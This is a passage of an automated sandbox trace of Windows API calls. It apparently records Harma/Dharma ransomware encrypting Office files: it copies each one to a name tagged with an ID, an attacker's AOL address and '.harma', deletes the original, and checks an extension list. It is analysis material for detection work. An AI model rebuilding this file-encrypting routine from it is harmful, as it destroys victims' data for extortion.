lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0154.656] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1919) returned 1 [0154.656] CloseHandle (hObject=0x338) returned 1 [0154.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 0x20 [0154.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.683] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.683] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0154.684] GetLastError () returned 0x0 [0154.684] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x77f, lpOverlapped=0x0) returned 1 [0154.703] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x780, lpOverlapped=0x0) returned 1 [0154.705] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.705] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.705] SetEndOfFile (hFile=0x338) returned 1 [0154.705] CloseHandle (hObject=0x338) returned 1 [0154.705] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.705] SetEndOfFile (hFile=0x350) returned 1 [0154.708] CloseHandle (hObject=0x350) returned 1 [0154.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 1 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.709] lstrlenW (lpString=".doc") returned 4 [0154.709] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0154.710] lstrlenW (lpString=".docx") returned 5 [0154.710] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0154.710] lstrlenW (lpString=".pdf") returned 4 [0154.710] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0154.710] lstrlenW (lpString=".xls") returned 4 [0154.710] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0154.710] lstrlenW (lpString=".xlsx") returned 5 [0154.710] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0154.710] lstrlenW (lpString=".ppt") returned 4 [0154.710] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.710] lstrlenW (lpString=".zip") returned 4 [0154.710] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0154.710] lstrlenW (lpString=".rar") returned 4 [0154.710] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0154.710] lstrlenW (lpString=".bz2") returned 4 [0154.710] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0154.710] lstrlenW (lpString=".7z") returned 3 [0154.710] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.710] lstrlenW (lpString=".dbf") returned 4 [0154.710] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.710] lstrlenW (lpString=".1cd") returned 4 [0154.711] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.711] lstrlenW (lpString=".jpg") returned 4 [0154.711] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.711] lstrlenW (lpString=".doc") returned 4 [0154.711] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0154.711] lstrlenW (lpString=".docx") returned 5 [0154.711] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0154.711] lstrlenW (lpString=".pdf") returned 4 [0154.711] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0154.711] lstrlenW (lpString=".xls") returned 4 [0154.711] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0154.711] lstrlenW (lpString=".xlsx") returned 5 [0154.711] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0154.711] lstrlenW (lpString=".ppt") returned 4 [0154.711] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.711] lstrlenW (lpString=".zip") returned 4 [0154.711] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0154.712] lstrlenW (lpString=".rar") returned 4 [0154.712] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0154.712] lstrlenW (lpString=".bz2") returned 4 [0154.712] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0154.712] lstrlenW (lpString=".7z") returned 3 [0154.712] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0154.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.712] lstrlenW (lpString=".dbf") returned 4 [0154.712] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0154.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.712] lstrlenW (lpString=".1cd") returned 4 [0154.712] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0154.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0154.712] lstrlenW (lpString=".jpg") returned 4 [0154.712] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0154.712] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0154.712] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0154.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.714] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=432098) returned 1 [0154.714] CloseHandle (hObject=0x350) returned 1 [0154.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 0x20 [0154.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.715] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.715] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0154.715] GetLastError () returned 0x0 [0154.716] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x697e2, lpOverlapped=0x0) returned 1 [0155.018] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x697f0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x697f0, lpOverlapped=0x0) returned 1 [0155.026] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.026] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0155.026] SetEndOfFile (hFile=0x338) returned 1 [0155.026] CloseHandle (hObject=0x338) returned 1 [0155.026] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.026] SetEndOfFile (hFile=0x350) returned 1 [0155.037] CloseHandle (hObject=0x350) returned 1 [0155.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 1 [0155.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.222] lstrlenW (lpString=".doc") returned 4 [0155.222] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0155.222] lstrlenW (lpString=".docx") returned 5 [0155.222] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0155.222] lstrlenW (lpString=".pdf") returned 4 [0155.222] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0155.222] lstrlenW (lpString=".xls") returned 4 [0155.222] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0155.222] lstrlenW (lpString=".xlsx") returned 5 [0155.222] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0155.222] lstrlenW (lpString=".ppt") returned 4 [0155.222] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0155.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.222] lstrlenW (lpString=".zip") returned 4 [0155.222] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0155.223] lstrlenW (lpString=".rar") returned 4 [0155.223] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0155.223] lstrlenW (lpString=".bz2") returned 4 [0155.223] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0155.223] lstrlenW (lpString=".7z") returned 3 [0155.223] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0155.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.223] lstrlenW (lpString=".dbf") returned 4 [0155.223] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0155.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.223] lstrlenW (lpString=".1cd") returned 4 [0155.223] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0155.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.223] lstrlenW (lpString=".jpg") returned 4 [0155.223] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0155.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.223] lstrlenW (lpString=".doc") returned 4 [0155.223] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0155.223] lstrlenW (lpString=".docx") returned 5 [0155.223] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0155.224] lstrlenW (lpString=".pdf") returned 4 [0155.224] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0155.224] lstrlenW (lpString=".xls") returned 4 [0155.224] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0155.224] lstrlenW (lpString=".xlsx") returned 5 [0155.224] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0155.224] lstrlenW (lpString=".ppt") returned 4 [0155.224] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.224] lstrlenW (lpString=".zip") returned 4 [0155.224] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0155.224] lstrlenW (lpString=".rar") returned 4 [0155.224] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0155.224] lstrlenW (lpString=".bz2") returned 4 [0155.224] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0155.224] lstrlenW (lpString=".7z") returned 3 [0155.224] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.224] lstrlenW (lpString=".dbf") returned 4 [0155.224] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.224] lstrlenW (lpString=".1cd") returned 4 [0155.224] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0155.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0155.224] lstrlenW (lpString=".jpg") returned 4 [0155.224] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0155.225] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0155.225] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0155.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.225] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0155.225] CloseHandle (hObject=0x388) returned 1 [0155.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 0x20 [0155.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.226] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.226] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.226] GetLastError () returned 0x0 [0155.226] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0155.227] WriteFile (in: hFile=0x368, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0155.228] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.228] WriteFile (in: hFile=0x368, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x104, lpOverlapped=0x0) returned 1 [0155.228] SetEndOfFile (hFile=0x368) returned 1 [0155.229] CloseHandle (hObject=0x368) returned 1 [0155.229] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.229] SetEndOfFile (hFile=0x388) returned 1 [0155.231] CloseHandle (hObject=0x388) returned 1 [0155.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 1 [0155.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.235] lstrlenW (lpString=".doc") returned 4 [0155.235] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.235] lstrlenW (lpString=".docx") returned 5 [0155.235] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.235] lstrlenW (lpString=".pdf") returned 4 [0155.235] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.235] lstrlenW (lpString=".xls") returned 4 [0155.235] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.235] lstrlenW (lpString=".xlsx") returned 5 [0155.235] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.235] lstrlenW (lpString=".ppt") returned 4 [0155.235] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.236] lstrlenW (lpString=".zip") returned 4 [0155.236] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.236] lstrlenW (lpString=".rar") returned 4 [0155.236] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.236] lstrlenW (lpString=".bz2") returned 4 [0155.236] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.236] lstrlenW (lpString=".7z") returned 3 [0155.236] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.236] lstrlenW (lpString=".dbf") returned 4 [0155.236] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.236] lstrlenW (lpString=".1cd") returned 4 [0155.236] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.236] lstrlenW (lpString=".jpg") returned 4 [0155.236] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.236] lstrlenW (lpString=".doc") returned 4 [0155.236] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0155.236] lstrlenW (lpString=".docx") returned 5 [0155.236] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0155.236] lstrlenW (lpString=".pdf") returned 4 [0155.236] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0155.236] lstrlenW (lpString=".xls") returned 4 [0155.236] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0155.236] lstrlenW (lpString=".xlsx") returned 5 [0155.236] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0155.237] lstrlenW (lpString=".ppt") returned 4 [0155.237] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0155.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.237] lstrlenW (lpString=".zip") returned 4 [0155.237] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0155.237] lstrlenW (lpString=".rar") returned 4 [0155.237] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0155.237] lstrlenW (lpString=".bz2") returned 4 [0155.237] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0155.237] lstrlenW (lpString=".7z") returned 3 [0155.237] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0155.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.237] lstrlenW (lpString=".dbf") returned 4 [0155.237] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0155.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.237] lstrlenW (lpString=".1cd") returned 4 [0155.237] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0155.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0155.237] lstrlenW (lpString=".jpg") returned 4 [0155.237] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0155.237] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0155.237] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0155.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.238] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=113) returned 1 [0155.238] CloseHandle (hObject=0x388) returned 1 [0155.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 0x20 [0155.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 